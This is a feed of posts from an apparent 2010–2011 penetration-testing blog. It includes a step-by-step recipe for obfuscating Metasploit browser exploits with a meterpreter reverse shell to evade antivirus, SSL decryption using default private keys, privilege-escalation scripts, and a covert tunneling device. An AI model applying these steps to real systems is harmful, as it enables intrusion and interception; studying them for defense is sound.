<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3222685706252794</id><updated>2011-11-20T22:01:58.951-05:00</updated><title type='text'>GREP:8000 Electronic Research Lab</title><subtitle type='html'>Network Security Monitoring</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-681610312469931707</id><published>2011-02-19T11:58:00.002-05:00</published><updated>2011-02-19T11:58:50.088-05:00</updated><title type='text'>Pwn Plug article on InfoSec Island!</title><content type='html'>&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="https://www.infosecisland.com/blogview/11828-Wheres-My-Creeper-Box.html"&gt;https://www.infosecisland.com/blogview/11828-Wheres-My-Creeper-Box.html&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-681610312469931707?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/681610312469931707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=681610312469931707' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/681610312469931707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/681610312469931707'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2011/02/pwn-plug-article-on-infosec-island.html' title='Pwn Plug article on InfoSec Island!'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-4415989882395640774</id><published>2010-12-20T20:28:00.000-05:00</published><updated>2010-12-20T20:28:20.818-05:00</updated><title type='text'>Using default private keys to decrypt SSL streams</title><content type='html'>&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An old but hugely overlooked issue. Many appliance vendors ship their units with a default private key for SSL communications. Even if you reissue a new certificate, your appliance could still be using the same private key as everyone else's.. and it's typically bundled within the firmware packages publicly distributed by the application vendor. This affects everything from DD-WRT to enterprise class VPN appliances, tape libraries, and firewalls.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Well, someone has finally begun cataloguing these into a searchable database:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;a href="http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/%20"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/ &lt;/span&gt;&lt;/a&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Just lookup the device in question, point the lookup tool to a running appliance, or feed it a packet capture or live network interface and it will provide any known private keys.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Once the private key is obtained, you can decrypt the SSL stream with tshark:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;tshark -nn -t ad -r &lt;pcap_file&gt; -o ssl.keys_list:&lt;https_server_ip&gt;,443,http,"&lt;private_key.pem&gt;" -V -R http&lt;/private_key.pem&gt;&lt;/https_server_ip&gt;&lt;/pcap_file&gt;&lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Note: For successful decryption, the initial full SSL handshake must be present in the capture. A full SSL handshake contains ClientHello, ServerHello, Certificate, ServerHelloDone. If you only see ClientHello, ServerHello, ChangeCipherspec, this is a continuation of a previously established SSL session and cannot be decrypted as is.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-4415989882395640774?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/4415989882395640774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=4415989882395640774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/4415989882395640774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/4415989882395640774'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/12/using-default-private-keys-to-decrypt.html' title='Using default private keys to decrypt SSL streams'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-963857871189103085</id><published>2010-12-03T10:44:00.000-05:00</published><updated>2010-12-03T10:44:29.806-05:00</updated><title type='text'>Meterpreter scripts for RunAs privilege escalation &amp; other mischief</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;send_keystrokes.rb: &lt;/b&gt;Meterpreter script to interactively send keystrokes to an open application window using the vbscript SendKeys method. Can be used to escalate privileges into RunAs-invoked command shells on XP.&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;IE_click_run.rb:&lt;/b&gt; Meterpreter script to interactively click "Run" at the IE "File Download Security Warning" prompts. Can be used to escalate privileges into RunAs-invoked IE instances without end-user interaction&lt;/span&gt;&lt;span style="font-size: small;"&gt; on XP&lt;/span&gt;&lt;span style="font-size: small;"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="http://code.google.com/p/metscripts/downloads/list"&gt;&lt;span style="font-size: small;"&gt;http://code.google.com/p/metscripts/downloads/list&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="http://grep8000.blogspot.com/2010/04/windows-privilege-escalation-talk.html"&gt;http://grep8000.blogspot.com/2010/04/windows-privilege-escalation-talk.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-963857871189103085?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/963857871189103085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=963857871189103085' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/963857871189103085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/963857871189103085'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/12/meterpreter-scripts-for-runas-privilege.html' title='Meterpreter scripts for RunAs privilege escalation &amp; other mischief'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-5340165484404317101</id><published>2010-12-03T08:58:00.005-05:00</published><updated>2010-12-03T09:26:36.847-05:00</updated><title type='text'>JavaScript Obfuscation of Metasploit Browser Exploits for AV bypass</title><content type='html'>&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1. Configure the desired browser exploit and payload. Example using ms10_xxx_ie_css_clip&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Module options:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp; Required&amp;nbsp; Description&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --------------- &amp;nbsp; &amp;nbsp; --------&amp;nbsp; -----------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; SRVHOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10.20.30.40&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local host to listen on.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; SRVPORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; The local port to listen on.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; SSL&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Negotiate SSL for incoming connections&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; SSLVersion&amp;nbsp; SSL3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Specify the version of SSL that should be used&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; URIPATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /example&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The URI to use for this exploit (default is random)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp; Required&amp;nbsp; Description&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------&amp;nbsp; --------&amp;nbsp; -----------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; EXITFUNC&amp;nbsp; process&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit technique: seh, thread, none, process&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; LHOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10.20.30.40&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The listen address&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; LPORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 443&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The listen port&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Exploit target:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; Id&amp;nbsp; Name&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; --&amp;nbsp; ----&lt;/span&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; Automatic&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;2. "exploit" to start the HTTP server (port 80) and payload handler (port 443).&lt;br /&gt;3. WGET the exploit URI using the --user-agent option to specify the user-agent string of the browser you're targeting. Example for IE7 on XP targets:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;wget http://10.20.30.40/example --user-agent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;4. View the HTML source and copy all JavaScript between the "script" tags.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;5. Feed to a JavaScript obfuscator of your liking. Examples:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.daftlogic.com/projects-online-javascript-obfuscator.htm"&gt;http://www.daftlogic.com/projects-online-javascript-obfuscator.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://javascriptcompressor.com/"&gt;http://javascriptcompressor.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://dean.edwards.name/weblog/2007/04/packer3"&gt;http://dean.edwards.name/weblog/2007/04/packer3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;6. Copy obfuscated JS into a new HTML file.&lt;br /&gt;7. Start a new multi/handler to receive the meterpreter_reverse_tcp shell on port 443 (or whatever your payload requires).&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;8. Serve your newly obfuscated HTML from BT4 through Apache, or clone a site with SET and edit the embedded iFrame tag to point to your HTML file.&lt;br /&gt;&lt;br /&gt;Bam. 0-day with AV bypass? Yeah, you're on the pwnie express. :}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Thanks to Will Metcalf for pointing me in the right direction!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;References:&lt;/span&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;a href="http://rules.emergingthreats.net/research/WMetcalf-CVE-2010-3962/"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://rules.emergingthreats.net/research/WMetcalf-CVE-2010-3962/&lt;/span&gt;&lt;/a&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;a href="http://relentless-coding.blogspot.com/2010/07/new-javascript-packer-jsidle.html"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://relentless-coding.blogspot.com/2010/07/new-javascript-packer-jsidle.html&lt;/span&gt;&lt;/a&gt;&lt;br style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;" /&gt;&lt;a href="http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-5340165484404317101?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/5340165484404317101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=5340165484404317101' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/5340165484404317101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/5340165484404317101'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/12/javascript-obfuscation-of-metasploit.html' title='JavaScript Obfuscation of Metasploit Browser Exploits for AV bypass'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-8430109157817815282</id><published>2010-07-09T20:56:00.020-04:00</published><updated>2010-11-01T19:47:04.276-04:00</updated><title type='text'>Introducing.. the Pwn Plug!</title><content type='html'>&lt;div style="font-family: 'Trebuchet MS',sans-serif;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_MdJ2Umc38oQ/TDj-6EEWfvI/AAAAAAAAAC8/oMuw1OgTAuc/s1600/sheevaplug.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="132" src="http://1.bp.blogspot.com/_MdJ2Umc38oQ/TDj-6EEWfvI/AAAAAAAAAC8/oMuw1OgTAuc/s200/sheevaplug.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;A SheevaPlug microserver loaded &lt;br /&gt;with pentesting goodness!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: Preloaded with Ubuntu, Metasploit, Fasttrack, SET, SSLstrip, nmap, dsniff, netcat, nikto, nbtscan, xprobe2, inguma, scapy, ettercap, JTR, medusa, &amp;amp; more&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: Maintains a reverse persistent SSH tunnel to your external pentest box, with support for tunneling over HTTP and ICMP&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: Traverses strict egress firewall filters, webfilters, HTTP proxies, and application-aware firewalls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: Unpingable &amp;amp; no open ports in stealth mode&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: 4.3 x 2.7 x 1.9 inches, 2.3 watts when idle&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; :: 1.2GHz ARM cpu with 512M SDRAM, 512M flash HDD&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Trebuchet MS',sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Now selling through Rocket Bear Labs: &lt;a href="http://www.rocketbearlabs.com/pwn-plug.html"&gt;http://www.rocketbearlabs.com/pwn-plug.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-8430109157817815282?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/8430109157817815282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=8430109157817815282' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/8430109157817815282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/8430109157817815282'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/07/introducing-pwn-plug.html' title='Introducing.. the Pwn Plug!'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_MdJ2Umc38oQ/TDj-6EEWfvI/AAAAAAAAAC8/oMuw1OgTAuc/s72-c/sheevaplug.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-4747008869029932741</id><published>2010-06-13T18:01:00.003-04:00</published><updated>2010-06-13T18:08:12.210-04:00</updated><title type='text'>Decoding OpenLDAP &amp; IBM Directory Server password hashes</title><content type='html'>&lt;span style="font-size: small;"&gt;OpenLDAP {SHA} hashes are base64-encoded hex byte-arrays of the SHA hash. Example:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;userpassword:: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=&lt;br /&gt;&lt;br /&gt;The original SHA hash can be extracted from this with the help of fdump (&lt;a href="http://sourceforge.net/projects/fdump/files/"&gt;http://sourceforge.net/projects/fdump/files/&lt;/a&gt;):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;echo -n 